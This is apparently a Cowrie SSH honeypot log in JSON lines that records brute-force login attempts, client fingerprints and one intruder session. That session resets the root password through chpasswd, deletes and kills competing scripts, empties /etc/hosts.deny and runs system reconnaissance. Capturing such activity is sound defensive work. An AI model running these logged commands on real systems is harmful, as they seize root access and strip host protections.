{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.447215Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":46604,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd05b6cdf4b","protocol":"ssh","message":"New connection: 4.227.177.11:46604 (10.17.0.5:22) [session: bdd05b6cdf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.453702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.458119Z","src_ip":"4.227.177.11","session":"bdd05b6cdf4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.469457Z","src_ip":"4.227.177.11","session":"bdd05b6cdf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.544548Z","src_ip":"4.227.177.11","session":"bdd05b6cdf4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:09.559573Z","src_ip":"4.227.177.11","session":"bdd05b6cdf4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":46612,"dst_ip":"10.17.0.5","dst_port":22,"session":"579e4121a623","protocol":"ssh","message":"New connection: 4.227.177.11:46612 (10.17.0.5:22) [session: 579e4121a623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:09.566529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:09.572994Z","src_ip":"4.227.177.11","session":"579e4121a623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:09.584481Z","src_ip":"4.227.177.11","session":"579e4121a623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:09.666749Z","src_ip":"4.227.177.11","session":"579e4121a623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":46264,"dst_ip":"159.203.135.109","dst_port":22,"session":"82e23cc2e1b8","protocol":"ssh","message":"New connection: 176.147.144.172:46264 (159.203.135.109:22) [session: 82e23cc2e1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.498146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.503526Z","src_ip":"176.147.144.172","session":"82e23cc2e1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.600691Z","src_ip":"176.147.144.172","session":"82e23cc2e1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.680537Z","src_ip":"4.227.177.11","session":"579e4121a623","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.750036Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.753318Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.775070Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.834692Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:C57ki0h6zO2o\"|chpasswd|bash","message":"CMD: echo \"root:C57ki0h6zO2o\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.838087Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/184d572b1a72cae94a1e59e1573b3c43a1bb37c669d5c9b63f3d26fdf32f8018","size":24,"shasum":"184d572b1a72cae94a1e59e1573b3c43a1bb37c669d5c9b63f3d26fdf32f8018","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/184d572b1a72cae94a1e59e1573b3c43a1bb37c669d5c9b63f3d26fdf32f8018 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.859384Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.925267Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.928707Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.948051Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:10.952011Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.043005Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.046121Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Ab","message":"login attempt [root/123456789Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.065036Z","src_ip":"176.147.144.172","session":"82e23cc2e1b8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.071003Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.135831Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.139185Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.160707Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.222984Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.226165Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.229031Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.254844Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.325823Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.329438Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.355325Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.419263Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.422941Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.448282Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.516240Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.519824Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.541252Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.602818Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.606118Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.628492Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.695391Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.698833Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.721858Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.781760Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.785767Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.809255Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.880483Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.884164Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.906770Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.971475Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.975057Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
